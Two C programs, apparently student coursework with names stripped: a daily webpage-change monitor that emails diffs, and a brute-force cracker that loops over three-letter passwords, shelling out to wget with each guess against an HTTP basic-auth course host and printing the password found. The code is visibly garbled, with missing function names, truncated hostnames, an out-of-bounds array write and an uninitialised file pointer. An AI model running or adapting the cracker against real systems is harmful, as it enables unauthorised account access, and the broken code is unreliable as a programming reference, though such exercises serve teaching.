# include <stdlib.h>
# include <stdio.h>
# include <strings.h>


int ()
{
	
	FILE* fpp;										
	FILE* fp;
			
	char s[100];
	int i;
	
	while(1)										
	{
		system("wget -nv http://www.cs.rmit.edu./students");				
		
		i=0;		
		
		fp = fopen("dummyindex.txt","r");
		
		if(fp == (FILE*) NULL)								
		{
			printf(" is  previously saved webpage in the file\n");
			i=1;
			fp = fopen("dummyindex.txt","w");

		}
				
		fclose(fp);
		
				
		
		
		
		system("diff index.html dummyindex.txt > compareoutput.txt");		

				
		if(fpp != (FILE*) NULL)	
		{
			
			fpp = fopen("compareoutput.txt","r");					
			
			fgets(s,100,fpp);							
			
			fclose(fpp);								
		
		
		   
			if((strlen(s)>0) && i==0)								
			{
				system("mail @cs.rmit.edu. < compareoutput.txt");	
				system("cp index.html dummyindex.txt");				
				printf("Message has been sent\n");				
			}
			else
				printf(" is  change in the \n");			
		}
		
		

		system("rm index.html")	;				
		
		sleep(86400);									
	}
				
	return 1;
}



#include <stdio.h>
#include <stdlib.h>
#include <sys/times.h>
#include <strings.h>
#include <ctype.h>
#define OneBillion 1e9 

int (){
   int i=65,j=65,k=65,count=0,res=1;
   char arry[3],send[100];
   int startTime, stopTime, final;
   startTime = time();
   for(i;i<123;i++){
      if(i<91 || i>96){
         arry[0]=i;
	 j=65;
	 for(j;j<123;j++){
	    if(j<91 || j>96){
	       arry[1]=j;
	       k=65;
	       for(k;k<123;k++){
		  if(k<91 || k>96){
		     arry[2]=k;
		     arry[3]='\0';
		     strcpy(send,"wget --http-user= --http-passwd=");
		     strcat(send,arry);
		     strcat(send," http://sec-crack.cs.rmit.edu./SEC/2/");
		     count++;
	             if((res=(system(send)) == 0)) {
		        stopTime = time();
			final = stopTime-startTime;
			printf("\n THE PASSWORD IS = %s & TIME TAKEN =%lf seconds &  OF COMPARISIONs  = %d\n",arry,(double)final/OneBillion,count);
			exit(1);
		     }
		  }
	       }
            }
         }
      }
   }
   printf("\npassword not found\n");
   exit(1);
}
